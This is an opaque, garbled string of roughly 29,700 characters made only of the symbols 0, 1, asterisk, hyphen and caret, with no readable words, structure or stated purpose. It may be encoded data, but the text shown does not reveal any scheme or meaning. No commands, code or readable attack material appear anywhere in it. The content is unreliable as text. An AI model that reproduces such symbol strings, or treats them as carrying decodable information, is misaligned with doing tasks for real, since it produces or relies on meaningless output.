11**0010101101***10-11**001011****^--1**10-001***00--1**^^1***-0-1**001011****0110-1**0010-011**001010-11**010110-**001^-^1*00^1****0^-1**001011****1*--**1*101****0--**^10101**00-10-001*00101****010110-**001011****00110-**001011****11010-11**1*011***01010-11**10-01***^10-**001010101****10-11**1*101***-00-**001011****01^-001*00^1****10^-1**0101^1***00^-**001011****11*-1**01010101***01*-**001011****1*0-1**0101^1****00-**001011****-110-1**^1*1***-1011**0010101101**0010-0-1**1*101***00-011**001011****01011011**001010101***^11011**0010^101***0011011**001011****-01011**0010-011***1101011**001011****10101011**001011****00101011**001011****1^10-1**^^11***^1011**001011****1*1011**001011*****01011**001011****-^11**001011****0-0011**001011****101^-1**1011011***001^-1**10110-**00110^11**001011****010^11**001011****^^11**001011*****^1^1*00^1****-*-**01011011***011*11**001011****101*11**001011****001*-1**1*1011**0011*011**001010101***01*0-1**1010101***1*0011**001011******-1**10-01***--01**001011****0-1101**001011****10-101**0010110-***0-101**001011****110-0-**101*1***010-01**001011****^-01**001010101****-01**001011****-01101**001011****0110110^1*00^1****10101101**001011****00101101**001011*1**001^1101**001011****0^11011**01010101***1*110-**^^1****01101**001010101***-10101**001010101***0-0101**001011****10110101**001010101***0011010-**^-01**0011010101**001011****0101010^1*0010^1***0-0010-**1011*1***1^10101**^1****10^1011**01010101***00^101**0010^101**0011*101**001011****01*101**001011****1*0101**001011*****0010-**^1101***-1^-**^1011***0-^1**001011****10-00-**1*101***00-001**001011****1101^1**001011****0101^1**001011****^1^1**001011*****1^1**001011****-0^1**001011****0110^1**001010101***1010^11**0101*****10^-**101^11**001^^1**001011****0^^1**001011****1*^1**001011*****0^-**1010^1**00-1*1**001010101***0-*1**001010101***1011*1**001010101***0011*1**001011****1101*1**001011****0101*^1*001*****^1*1**0010101101***001*-**101*1***-*01**001011****011*011**0^1*1**00101*01**001011****001*01**001011****11*001**001011****01*0011**0101^1***1**11**0101^1*****011**0^1011***--1011**101*1***0--***1011****10-11***1011****00-11***1011****110-101**010110-***10-1011**1*101***^-1***1011*****-1011**1010^1**00-0-***1011****0110-***1010-1**001010-01**0101^1***0010-01**0101^1***1^-01**01*-***0^-011**^^1***1*-***1011*****0-***1011****-1011***10^101***-011011**^10-**001011011***1010101***0011011011**101*01**001101011***10-001***101011***10-001**00^1011***1011*****1011***1011****-0011***1011****01^11***1011****10^11***1011****00^11011**^1011***11*11***10-001***1*11***10-001**001*011011**10-11****001101**01011011***-1101***1011****0-10101**0^-01**0010-0101**0101^1***00-01***1010101***1101101***1010101***0101101***1011****^1101***1011*****1101011**101*1***-0101011**1*0011***110101***1011****1010101***1011****001010101**0101^1***1^101011**10101101***^101***1011****1*101***1011*****010101**01*-***-^1***10101101***-001011**1**1**00101^1011**1*01****1^101**0101^1***110^1***1011****010^1011**1011011***^^101**01011011****^1***1011****-*1***1011****011*1***1011****101*1011**^1011***001*1011**10-***0011*01011**1011****01*01***1011****1*001***1011******1***1011****--001**01*^1***-11***010110-**0010-1***01010101***00-1***01011****110-***01010101***010-***01010101***^-0011**^-****0-***010^101**00-01^1**01010101***011011***01011****10101^1**01011****001011***01011*1**001^11***01011*1***^1^11**1*-***1*1^1**01*11****001^1**01*011***-101***01011****0-01***01011****10110^11**10-01***00110^11**1*0-**0011010^11**^11011***1010^11**1*0011**00^101***01011*****101***01011****-001***01011****01^1***01011****10^^11**^^1***11*1***01010101***01*^11**^1011***1*01***01010101****001***01010101***-11***001011****0-1***001011****10-*1**01010101***00-***001011****11011***001010101***01011***001011****^11*1**01*11****011*1**0101^1***-01*11**101*11***1101***001011****10101*11**10101101***0101***00^^11**001^1***001011****0^1*1**01*11***01*1***001011*****01*11**1*0011**00-1****1011****0-*011**^^1***1011****1011****0011****1011*1**001101****1011*1***101****1011*1**00^1****1011*1***001****1011****-****01011****011****01011****101*0011**1*1101***01****0^10-**0011****0010-011***1****001011****1**001*1*001011*1*001^1**001*^-*1*001*1*01*1*-0-001*00-1*011*^10-*001*00-1*001*1*-0-001*001011*011*^10-*001*001011***1*^-*1*001011***1*^-*1*001101*001*1*-0-001*00^1*011*^10-*001*00^1***1*^-*1*00^1*011*1*0011*11**^-0-*^1^1*1**010^-11*1*-*01**010^-11*^^1*01**010^-11*1*01*001**0-011**01*^-***-0010101*1*--1**0011*10101*1*00-11**0011*101*001*^-***11*10101*1*^-1**0011*10101*1*-0-**0011*10101*^10^--**01*0101*^^11*-**1*001*00^110110-11****101*1*-0010-**00-1**1*^-0-**^-001*^1010-0-**1*11**^10^10-1***01^1*^-110-11**-10^1*^1^^-1**-11**01*^-0011**0110-01*1*-00^11**1010-*001*^-0011**0010-01*^^11011011**0^-01*^1^1011011**^1011*00^1*0-011**11*11*00^11010101011**01*1101*1*01^11011**1*01101*^101*11011**0-101*001*^-0011**10-01*001*-*1011**^^101*^1^^1011**101*11*0^-010^11**11*011*01**0011011**1*0011*0^-010^11**110-**1*^-0011**010-001*1*0-101011**^-001*^10101101011***-01*01*11*11011**1*1^1*^1010-0011**101101**1*^-0011**00110101*01**0011011**11010^1*^-10101011**01010^1*^^10101011**1*1**0^1*0-011***01*1*1**0101011**-1**00^1*1011011**0-*1*01**0011011**1011*01*^^1^1101**--1*001*-1101101**0--01*^-*10101**110-1*001*^-0101**010-1*001*-1101101**0-011*001*^-0101**101101101*^1^^1101**01^-*0^-01010101**00^-*01**00-01**01*1101*^-1*1101**-0101*001*^-0101**001*101*^-*01101**01*01*001*110-0101**1*001*00^1*0-101**10-1**1*^-0101**00-^1*^1**1101**110-**^1*0-101**010-**1*^-0101**-011**1*^-0101**01101101*01*01*10101**10101^1*^110-10101**001011**1*^-0101**1^11**^1*0-101**0^1^1*^1010-0101**0-0^1*1*-0110101**101101**1*^-0101**00110^1*1*0010110101**110101**^1*10-01**01010^1*^1*0110101**^101**^^--01**01011**01*^-*1**-0-*001*^-*1**0110-1*0^^101*01**1010-*001*^-*1**1^-1*01*01^1^1**10^1101*^1101101*1**00^1101*1*010101*1**1^10101*1*-001*1**0^10101*^-*1*1**1*101*00^1101101^1***010101*1**001*1**-^101*1*10-*01**0-001*001*^-*1**101^101*^-101*01**010^101*^-11*001**010^101*^^11*001**10-^1*^1^1*001**-10^1*^1011**1**0-0^1*^-**01**10110101*01*0011*001**001101**1*^-*1**11*1**1*^-*1**11011**01*^-*1**01011*1*^1***1***11**0^1010101^1***01**01*^-*1**-1*1*01**001^1**0-**001*001*^1**-***1*^-*1**011***^1*0-001**1**1*01*10--1**0--11*01*010--**0010-1*001*^-011***0-11*01*0110-11**01*-1*01*1^-11**001^11*001*^-011**010^-*0^-110-1****-*0^-0101011**0-11011*01*01^-1**00-1011*0^^110-1**0-0101*001*001*-**01010101*001*-110-**0110^1*001*-110-**01*0011*0^1^10-1***0-01*01*01^-1**01*11**^1*0-11**0-10101*01*11*-1**0^10101*01**00-1**0-001**1*^-011**0-1^1*0^^-0-**00-^1*0^1^110-**01011**001*-110-**0-***1*-110-**0011*01*0^10-0^1**0110-11*01*011010101**0010-11*0^10^10101***0-11*0^-1^101**01011011*00^1*101101***110-*0^^1^101**010^-*01*1*00101***^-*01*^^101**001*-*0^1101*101***101011*01*1*00101**01^1011*01*0-1^1**00-0011*01*-11*1**0101^1*001*^-001**0011*11*01*110-001**0101*1*001*-110101***1*11*01**-001**001*011*0^^101^1**0^-01*0^11*1^1***0-**^1*0-01**0-011**1*-110101**00-01**^1*110101***1101**1*^-001**0110101**1*^-001**010^101*0^10-0^1**0-1^1*0^-010^1**00-^1*0^1*10^1**010-001*0^110^^1**011011**01*-110101**01*^1*01*01*^1***00^1*01*-11*1******01*^-01**00--1*00^1*0-1***--*00^101010-***0--*0^10101^1**00110-1*001*^-01***10-1*00^1*0-1**00^-11*0^-10^1**001*-1*0^^10^1****-*00^1*10-**00-1011*001*^-01**00^10-*01*0^^1**0010-011*01*-1*1***0-011*01*0011*1***1101011*0^1*1*1**0010101011*0^1101*01**00101^1*001*-*11***00^11*0^101*001**00-*1*00^10^1011**001*001*00^---**00-011**^1*0-1***11011**^^--**00101011**^1^-11***01011**^10110-1**001^11**1*1^-1**001*11**^1*0-1**00-101**1*^-01***10101**^110110-**00^101**^1*10-***00101**^101010-***1*1**^1*10-**001*01**1*01^-****01**1*^-01**0011011**01*01*-***0101**01*^-01**001^1**0^10^1011***011**001*-11011******00^-01101***--1*00^1*1101***0--*00^11010101***0010-*001*^-***0010^1*00^10^101***^^1*001*-^1****^1*00^-0^1***-011**1*^-***0011011**1*-*1***101011**1*-*1***1^11**1*001*1***11011**01*1*001***01011**01*0-11***0^11**01*110-***0-01**01*^-***0^1*-10^10^^-*00101*01********1**0-10^1*0^-*00101*01**********00-10^1*0^-*0011*001**********00-10^1*0^-*001**1**********00-10^1*0^-*00^-1***********-10^1*0^-*001^-***********-10^1*0^-*0011*11***********-10^1*0^-*001*011***********-10^1*0^-*00-1101***********-10^1*0^-*00--***********0-10^1*01*11*0010110-**********00-10^1*01*11*0011010-**********00-10^1*01*11*00^10-**********00-10^1*01*11*0010^-**********00-10^1*01*11*001^1011**********00-10^10^1*11*00-*11********1**0-10^1*01*11*00-*11**********00-10^1*01*11*00101*11**********00-10^10^1*11*0011*011********1**0-10^1*01*11*0011*011**********00-10^10^1*11*0010-101********1**0-10^1*01*11*0010-101**********00-10^1*01*11*00110-01**********00-10^10^1*11*001^^1********1**0-10^1*01*11*001^^1**********00-10^1*01*11*001101*1**********00-10^1*01*11*00-*01**********00-10^1*01*11*0011*001**********00-10^1*01*11*00-0-***********-10^1*01*11*001010-***********-10^10^1*11*001^-********01**0-10^1*01*11*001^-***********-10^10^1*11*001*-********01**0-10^1*01*11*001*-***********10101*110^^11*001101011***********-10^1*01*11*0011*11***********-10^1*01*11*001101101***********-10^1*01*11*00^1101***********-10^1*01*11*00-0101***********-10^1*01*11*001010101***********10101*1*00^11*0011*01***********-10^1*01*11*0011*1***********0-10^10^1*11*001*01********001**0-10^1*01*11*001*01***********0-10^10^1*11*00-11*********1**0-10^1*01*11*00-11***********00-10^1*01*11*0010-***********00-10^1*01*11*0011011***********00-10^10^^101*00--11********1**0-10^1*0^101*00--11**********00-10^1*0^101*0010--**********00-10^10^^101*00-0-1********1**0-10^1*0^101*00-0-1**********00-10^1*0^101*001010-1**********00-10^1*0^101*0010-011**********00-10^1*0^101*0011011011**********00-10^1*0^101*00101^11**********00-10^1*0^101*00^^11**********00-10^1*0^101*00101*11**********001*1*1010-1101*00-10101**********00-10^1*0^101*00^1*1**********00-10^^10^101*00101*01********01**-10^10^^101*00101*01********1**0-10^1*0^101*00101*01**********00-10^1*0^101*0011*001**********00-10^10^^101*00110-1********01**0-10^1*0^101*00110-1***********-10^1*0^101*00^-1***********-10^1*0^101*00-0-***********-10^10^^101*001010-********01**0-10^1*0^101*001010-***********-10^1*0^101*00-1011***********-10^1*0^101*001011011***********-10^10^^101*001101011********01**0-10^1*0^101*001101011***********-10^1*0^101*00^1011***********-10^1*0^101*00-0011***********-10^10^^101*0010^11********01**0-10^1*0^101*0010^11***********-10^1*0^101*0010-01***********-10^10^^101*001101101********01**0-10^1*0^101*001101101***********-10^1*0^101*00^1101***********-10^1*0^101*00-0101***********-10^1*0^101*001010101***********-10^10^^101*001^101********01**0-10^1*0^101*001^101***********-10^1*0^101*00101011***********0-10^1*01*01*00-10-**********00-10^1*01*01*0010110-**********00-10^1*01*01*0011010-**********00-10^1*01*01*00-00-**********00-10^10^1*01*00110^11********1**0-10^1*01*01*00110^11**********00-10^^101*01*00^^11********01**-10^10^1*01*00^^11********1**0-10^1*01*01*00^^11**********00-10^10^1*01*00-00101********1**0-10^1*01*01*00-00101**********00-10^1*01*01*0010^101**********00-10^10^1*01*0011*101********1**0-10^1*01*01*0011*101**********00-10^1*01*01*001*0101**********00-10^-101*01*00-1^1********11**-10^^101*01*00-1^1********01**-10^10^1*01*00-1^1********1**0-10^1*01*01*00-1^1**********00-10^1*01*01*0010-001**********00-10^1*01*01*001101^1**********0010101*110^1*1*001010^1**********0010101*10-01*1*001^^1**********00-10^1*01*01*00110-1***********-10^1*01*01*00-1101***********-10^1*01*01*0010-01***********-10^1*01*01*001101101***********-10^1*01*01*00^1101***********-10^1*01*01*00-*1***********-10^1*01*01*00-011***********0-10^1*01*01*00101011***********0-10^1*01*01*001*11***********0-10^1*01*01*001*01***********0-10^1*01*01*00-11***********00-10^1*01*01*0010-***********00-10^^101*01*00-1*********001**-10^10^1*01*00-1*********01**0-10^1*01*01*00-1************-10^1*01*01*001011************-10^10^1*01*0011**********1**0-10^1*01*01*0011************00-10^10^^11**--11********1**0-10^1*0^11**--11**********00-10^1*0^11**1010-1**********00-10^1*0^11**1*-1**********00-10^^10^11**11*-********01**-10^10^^11**11*-********1**0-10^1*0^11**11*-**********00-10^^10^11**101^11********01**-10^10^^11**101^11********1**0-10^1*0^11**101^11**********00-10^1*0^11**110^11**********00-10^10^^11**1*0011********1**0-10^1*0^11**1*0011**********00-10^1*0^11**--01**********00-10^10^^11**10-101********1**0-10^1*0^11**10-101**********00-10^1*0^11**-10101**********00-10^^10^11**11010101********01**-10^10^^11**11010101********1**0-10^1*0^11**11010101**********00-10^1*0^11**-0^1**********00-10^1*0^11**11*001**********00-10^1*0^11**1*-***********-10^10^^11**11*11********01**0-10^1*0^11**11*11***********-10^10^^11**-1101********01**0-10^1*0^11**-1101***********-10^1*0^11**1^101***********-10^1*0^11**-^1***********-10^1*0^11**--***********0-10^10^^11**10-1********001**0-10^1*0^11**10-1***********0-10^1*0^11**11011***********00-10^1*0^11**-1************-10^1*0^11**1011************-10^1*01*1**-0-1**********00-10^10^1*1**1010-1********1**0-10^1*01*1**1010-1**********00-10^10^1*1**1*-1********1**0-10^1*01*1**1*-1**********00-10^1*01*1**11011011**********00-10^1*01*1**^11011**********00-10^1*01*1**110^11**********00-10^10^1*1**^^11********1**0-10^1*01*1**^^11**********00-10^-101*1**101*11********11**-10^^101*1**101*11********01**-10^10^1*1**101*11********1**0-10^1*01*1**101*11**********00-10^10^1*1**^10101********1**0-10^1*01*1**^10101**********00-10^10^1*1**-00101********1**0-10^1*01*1**-00101**********00-10^1*01*1**10-001**********00-10^1*01*1**1101^1**********00-10^1*01*1**1011*1**********00-10^1*01*1**1101*1**********00-10^1*01*1**^1*1**********00-10^^101*1**101*01********01**-10^10^1*1**101*01********1**0-10^1*01*1**101*01**********00-10^10^1*1**1^-********01**0-10^1*01*1**1^-***********-10^1*01*1**1*-***********-10^10^1*1**-1011********01**0-10^1*01*1**-1011***********-10^1*01*1**10-01***********-10^1*01*1**^1101***********-10^1*01*1**-0101***********-10^1*01*1**110^1***********-10^1*01*1**--***********0-10^1*01*1**10-1***********0-10^1*01*1**110-***********0-10^1*01*1**-011***********0-10^1*01*1**11*1***********0-10^10^1*1**1*01********001**0-10^1*01*1**1*01***********0-10^1*01*1**1*************-10^1*0^1**0--11**********00-10^10^^1**010--********1**0-10^1*0^1**010--**********00-10^1*0^1**0^-11**********00-10^10^^1**0-0-1********1**0-10^1*0^1**0-0-1**********00-10^1*0^1**01010-1**********00-10^10^^1**01^-1********1**0-10^1*0^1**01^-1**********00-10^1*0^1**011*-**********00-10^1*0^1**01*0-**********00-10^1*0^1**0-11011**********00-10^1*0^1**01^1011**********00-10^10^^1**0110-01********1**0-10^1*0^1**0110-01**********00-10^1*0^1**0^-01**********00-10^1*0^1**010110101**********00-10^10^^1**011010101********1**0-10^1*0^1**011010101**********00-10^1*0^1**01101^1**********00-10^10^^1**01*^1********1**0-10^1*0^1**01*^1**********00-10^1*0^1**0-1*1**********00-10^1*0^1**011*001**********00-10^1*0^1**0-1011***********-10^10^^1**01011011********01**0-10^1*0^1**01011011***********-10^1*0^1**01101011***********-10^1*0^1**0^1011***********-10^1*0^1**0-0011***********-10^10^^1**011*11********01**0-10^1*0^1**011*11***********-10^10^^1**0-1101********01**0-10^1*0^1**0-1101***********-10^1*0^1**01010101***********-10^10110^1***10101***********-10^1*0^1**01^101***********-10^1*0^1**01*101***********-10^1*0^1**0101*1***********-10^1*0^1**011*01***********-10^10^^1**01*001********01**0-10^1*0^1**01*001***********-10^1*0^1**0-011***********0-10^^10^1**0^101*********1**-10^10^^1**0^101********001**0-10^1*0^1**0^101***********0-10^1*0^1**0-001***********0-10^1*0^1**0^11***********00-10^1*0^1**01*************-10^10^1***0--11********1**0-10^1*01***0--11**********00-10^1*01***010--**********00-10^1*01***0^10-**********00-10^1*01***01010^1**********00-10^1*01***01^^1**********00-10^10^1***01*^1********1**0-10^1*01***01*^1**********00-10^10^1***0-1011********01**0-10^1*01***0-1011***********-10^1*01***01011011***********-10^10^1***01101011********01**0-10^1*01***01101011***********-10^10^1***0-0011********01**0-10^1*01***0-0011***********-10^^101***0-011*********1**-10^10^1***0-011********001**0-10^1*01***0-011***********0-10^1*01***0101011***********0-10^1*01***01^11***********0-10^1*01***0-101***********0-10^1*01***01^1**************010101101***0101101***-0101***^1101***-0101**001*1101***-0101****1101***-0101**00-10101***0010101**0011010101**00^10101***1010101***0010101**00^10101**00-0^1***-^1**00-0^1**0010-001**00-0^1***0-001**00-0^1**001101^1**00-0^1***101^1**00-0^1**00^1^1**00-0^1***001^1**001^^1***010^1***01*01**00101*01**001**1***1*001***110-***-0-***0-011***0010-***0-011***1^-***0-011***0^-***0-011***1*-***0-011****0-***0-011***-1011***0011011***1011011***10^11***01^11***-1101****0011***10-01***0-101***^1101***00-01***^1101***1101101***^1101***0101101***0010101***1010101***001^1***0-001***001^1***101^1***101*1***-*1***101*1***011*1***001011***0101011***001^1***0-001***011011****0-***001^1****0011***001^1***00-01***001^1****1101***001^1***0010101***001^1****0101*****1***001*1***00-****00-****-****01011****-*****11****-****01101****-****00101****-****0^1****-*****01****11*****01*******0-01**-1********1************************-01*1011011***0101******************************00101************^1**00-1***0101*******************************1************00-01*-0011***1********************************1************0-1*0110^11***1********************************1************0-1*00^11****101*******************************1************00-*0011*01***0101*******************************1************00-01*00-01**001101*******************************01***************101011***001********************************1************01101*0010-1***01********************************1************00-0^-10101***1********************************1*******0-01*101*1**001*******************************001**********^1**1**-********1^1^101^1**001********1^-1010^1**01********01^-1011*1**1********001^-^1*1***********1^-1*001**0--11*****0-0^-1*001**0^10-*****00110^110--1***010-*****00110^1^101011**0-00-*****00110^1^1^11**001^-*****00110^1^1*11**010^-*****00110^11**11***^-*****00110^11*-01**011*-*****00110^11*10101**001*-*****00110^1011*101**01*0-*****00110^101^^1****-*****00110^1011*001**0-11011*****01010^10--11**00-1011*****01010^101^-1**010-011*****01010^101*-1***-011*****01010^10^10101**011011011*****0^1*1*--**01101*1*****0110-^10101011**0101*01*****0-101^1**1***01101*****00110101^-^11**00110101******10101^-00-**01*******00^101^-1***00--11******01011*0^1****0-1*****0^1101*10101***10-101*****0-0101*-01***^10101*****0101^1*--***-^1*****00-11*1101101***-*1*****0110-*110-1**001101*1*****00-01*0101101**00-********001**101***101*0010110^1^110-1*001*11011*******00101*0010110^--0-1*00-101011*******00101**-01*00-10-*00101101011*******00101**-0^10^110-*00110101011*******00101**-01*1101010-*0010^1011*******00101**-0^^^10-*00110110101*******00101**-0^10-^-*00^110101*******00101**-0^-10^-*00-010101*******00101**-0^10^^-*00101010101**00^1***00101**-01*1011*-*001^10101**0011*1***101**-01*101*0-*001*10101****01***101*00101101*0---*00-^101****01***101*00101101*1010--*00101^101**0011*1***101*0010110^110110-11*00110^101*******00101*0010110^110^-11*00^^101****01***101**1^^11*110-*00-*101****01***101*0010110^--0-1*00101*101****01***101*0010110^1^110-1*0011*0101****01***^1*0101101*101^-1*00^-001*******00^1*0101101*011*-1*00-01^1****01***-*00101101*--0011*0010101^1********001*0101101**-0011*001^1^1********001*0101101*1*1^11*001*1^1********001*010110^1*10^11*00-10^1********001*010110^1*00^11*0010110^1********001*010110^-101*11*0011010^1********001*010110^10-*011*00^10^1********001*0101101***0011*00-00^1********001**1101*0^-011*0010^^1*******00-**01101*010101^1*00^1*01***1*1***-**01101*00^1^1*00-*001****01***-**0110^110-0^1*00101*001***1*1***11**00110^-101011**0-*001*******0011**001101*101^11**0101*001*******0011**00110^-*011**011**1*******00101**01101*00101***0-101011*******001***110^1^-***101101011*******001***1101*0^11***110101011*******001***110^1^101***^101011*******00101**01101*00-***01011*11**01*001***101**01101*00101***01101*11*******001***110^-01***001010-01*******001***110^1101****10^1101**0-****0011*00110101*--1**001*01101********11*00110101*1010-**00-110101********11*0011010^10101011**0010-0101********11*00110101*11*11**00110110101********01*0011010^10-101**00^110101********01*0011010^11010101**00-010101*******00101*00110101*110^1**00101010101**0011*1***001*0011010^1101*1**001^10101***1*1***001*0011010^1^-***1*10101*******0011**11010^-0011***-^101*******0011**11010^1010101***101^101*******001**0110101*0-1***0110^101********1**110101*00101***0^^101********1**11010^10101***00-*101*******001**0110101*01****0101*101*******001**0010101**-1**0011*0101**0011*1***1**0010101*1*-**001*00101*******001**0010101*-0011**00--001*****01**10-1*1**011011*1**101101*1**01^1*1**10-*01**00101*01**0011*001**001*001**0110--**00^-11**0^10-1****-1**0-010-***0010-***0^-****0-***0-011**0110101011**00-^11**01010^11***11*11**011*0011**0010-101**0110101101**010-0101**0-^101**01*00101***0-001**010101^1**00-0^1**0-00^1**00-1*1**010101*1***001*1**01101*01**0011****010--***010-1**0011010-***1*-**00^11011***^1011***11*11***10-01***-0101**0010^101***-^1**00^1^1****^1**00-*01***--***110-1****-1***1010-***0-011***10^11***00-01***1^101***010^1***1*001****-***0-101***001^1***011*1*****1***010-*010101*01*1101010^^-01010101**110101010^11*101010101*110^101010^1011*1010101*11*01010101*0-1^1010^1*-***11*-11**0110-1**001*****11*-11**1010-1***1****001*0-11**0010-1**001*****1*0-11**1^-1***1****00-110-1**0^-1**001*****-110-1**1*-1***1****0010-0-1***0-1**001*****10-0-1**-10-***1****00110110-1**1^^1**001*****110110-1**0^^1***1****00^110-1**1*^1***1****00-010-1***1*1***1****00101010-1**-*01**001*****101010-1**011*01***1****001^10-1**101*01***1****001*10-1**0--***1*****1*10-1**10-11***01****00-^-1**00-11***01****00101^-1**110-1***01****00110^-1**010-1***01****00^^-1**0-011***01****00-*-1**1011011***01****00101*-1**0011011***01****0011*0-1**01^11***1*****11*0-1**10^11***01****001*00-1**00^11***01****00--0-**^1101***1*****--0-***1101***01****0010-10-**-0101***1*****10-10-**0110101***01****00110-0-**1010101***01****00^-0-**0010101***01****00-0110-**0011****1*****-0110-**1101****01****001010110-**0101****1*****1010110-**^1****01****001^110-***1****1*****1^110-**-****001****001*110-**011****01*****1*110-**101****001****00-1010-**001****01*****-1010-**11*****1****001011010-**01****001*****1011010-**1*****01****001101010101**101^11**001*****1101010101**001^11***1****00^1010101**110^11**001*****^1010101**010^11***1****00-0010101**^^11**001*****-0010101***^11***1****0010^10101**-*11**001*****10^10101**011*11***1****0011*10101**01^101**001*****11*10101**10^101***1****001*010101**00^101**001*****1*010101**11*101***1****00-1^101**0110^1**001*****-1^101**1010^1***1****0010-00101**0010^1**001*****10-00101**1^^1***1****001101^101***0^1**001*****1101^101**-1*1***1****00^1^101**0-*1**001*****^1^101**1011*1***1****00-0^101**0011*1**001*****-0^101**1101*1***1****001010^101**0101*1**001*****1010^101**^1*1***1****001^^101***1*1**001*****1^^101**-*01***1****001*^101**011*01**001*****1*^101**101*01***1****00-1*101**001*01**001*****-1*101**11*001***1****001011*101**01*001**001*****1011*101**1**1***1****001101*101**0-101***1*****1101*101**10-01***01****00^1*101**00-01***1*****^1*101**1101101***01****00-*0101***^1***1*****-*0101**-*1***01****00101*0101**011*1***1*****101*0101**101*1***01****0011*00101**001*1***1*****11*00101**11*01***01****001**101**^-***01*****1**101***-***001****00--^1**-011***01*****--^1**011011***001****0010-1^1**101011***01*****10-1^1**001011***001****00110-^1**1^11***01*****110-^1**0^11***001****00^-^1***101***01*****^-^1**-001***001****00-0-001**01^1***01*****-0-001**10^1***001****001010-001**0101****1*****1010-001**^1****01****001^-01**010--***1****001*-01**00110-1**001*****1*-01**01010-1***1****00-101101**00-0-**001*****-101101**010110-***1****00101101101**0^10-**001*****101101101***010-***1****00110101101**011*-**001*****110101101**001*-***1****00^101101**001011011**001*****^101101**0^11011***1****00-001101**01^1011**001*****-001101**00^1011***1****0010^1101**01*1011**001*****10^1101***001011***1****0011*1101**0-^11**001*****11*1101**00-0011***1****001*01101**0101^11**001*****1*01101***1^11***1****00-110101**0-*11**001*****-110101**0011*11***1****0010-0101**0101*11**001*****10-0101***1*11***1****00110110101**011*011**001*****110110101**001*011***1****00^110101**0110-01**001*****^110101**0010-01***1****00-010101***101101**001*****-010101**01^1101***1****00101010101***110101**001*****101010101**011010101***1****001^10101**011*101**001*****1^10101**001*101***1****001*10101***01^1**001*****1*10101**0-0^1***1****00-^101**00^^1**001*****-^101**01*^1***1****00101^101**00101*1**001*****101^101**0^1*1***1****00110^101**011*001**001*****110^101**001*001***1****00^^101**00--***1*****^^101**010-11***01****00-*101**00110-***1*****-*101**01010-***01****00101*101***00-***1*****101*101**0-1011***01****0011*0101**0^1011***1*****11*0101***01011***01****001*00101**0-1101***1*****1*00101**00-101***01****00--001***01101***1*****--001**0-0101***01****0010-^1**01*101***1*****10-^1***00101***01****00110-001**0010^1***1*****110-001**0^^1***01****00^-001***-1***01*****^-001**0110-***001****00-01^1**00^11***01*****-01^1**01*11***001****0010101^1***0101***01*****10101^1**0-001***001****001^1^1**001*1***01*****1^1^1**01*01***001****001*1^1**0^11***001*****1*1^1***011****1****00-10^1***101***001*****-10^1**01^1****1****0010110^1**0^1****1*****10110^1***01****01****0011010^1**011****001*****11010^1**001*****1****00^101****10-1**001*****^101***01^-1***1****00-001***010110-**001*****-001****110-***1****0010^1***010^-**001*****10^1****^-***1****0011*1***01*0-**001*****11*1*****-***1****001*01***001011011**001*****1*01***0^11011***1****00-11***001*1011**001*****-11*****1011***1****0010-***00110^11**001*****10-****10^11***1****0011011***0011*011**001*****11011****1*011***1****00^11****10-01**001*****^11***00^-01***1****00-01***0010110101**001*****-01****0110101***1****0010101***0010^101**001*****10101****0^101***1****001^1****-^1**001*****1^1***0010-001***1****001*1***00^1^1**001*****1*1****001^1***1****00-1****0110^1***1****001011****-0-***1*****1011****0110-***01****001101****^1011***01****00^1*****1011***01****00-****0-0011***01*****11****0101*01****1****11*****1*01***001****101****001^11***01*****01****0-^1****01****01****00-001****1****11*****0^11***01****0011****0010^11***1*****01****00101^1****01****1*****01^1****1*010101*00-01101010^1101101*****0010101**00-01010^1^101*****0010101*00-01101010^110^1*****0010101*00-011010101*0-1******01101*01*11*001*-1*1*****001101*110-0010101*101011******01101*0-101010101*^^1******1101*110-0010101*10-01******1101*110-0010101*-011******10101**00-10101*-^1******1101*0-101*001*1101*1*****001101*110-0010101*1*001******1101*110-0010101*-011******01101*0101101010101*1*001******1101*0110101010101*-^1******1101**0101010101*11*01******1101*010^1*001*1101*1*****001101*110-0010101*-011******01101*--001*1*0-*1*****001101*-101**1*^1*1*****001101*110-0010101*101011******01101*110-0010101*1*001******1101**1*010101*1*001******1101*10101^10101*--******01101*10101^10101*^1101******1101*-10^10101*101*1*****0010101**00-1*1*10110-*****010101**00-10101*-^1******1101*01010^10101*-^1******1101*-11**01*^1*1*****001101*11011*10101*-011******01101*10101*10101*11*01******1101*0011*010101*10-1******10101**00-10101*^^1*****0010101**00-1*1*10110-*****010101**00-10101*-011******10101**00-*01*1011*1*****010101*00-0-0101*-*1*****0010101**00-1*1*1010-1*****010101**00-*01*-00-*****010101**00-10101*10-1******10101*00-011*01*^1*1*****001101**1*010101*110^1*****0010101**00-*01*1101*1*****010101*^--0101*110-******10101**00-10101*-*1*****0010101*00-0-0101*10-01*****0010101**00-1*1*1010-1*****010101**00-10101*^1101*****0010101**00-1*1*1010-1*****010101**00-10101*1101101*****0010101**00-10101*^-******10101**00-10101*10-01*****0010101*0-0-10101*^^1*****0010101*00^-10101*101011******10101**00-*01*^1*1*****010101*00-0-0101*-^1*****0010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-10101*101^1*****0010101**00-*01*^1*1*****010101**00-10101*110^1*****0010101**00-10101*1*001*****0010101**00-*01*^1*1*****010101**00-10101*110^1*****0010101**00-10101*-*1*****0010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101**00-*01*^1*1*****010101*00-0-*1*1010-1*****010101*00-0-0101*101011******10101*00-011*01*-1*1*****010101*00-0-0101*101^1*****0010101*00-0-0101*10-1******10101*00-0-*1*1010-1********0-011***10110101***011011***011*01**00^1011***001*01**0010^11***11*001***1*11***1**1****011*****01***0-01***--1***0110101***1011011***0^101***-0011****0101***01*11***0-001***-1101***011*1***0-101***001*1****1101***1*00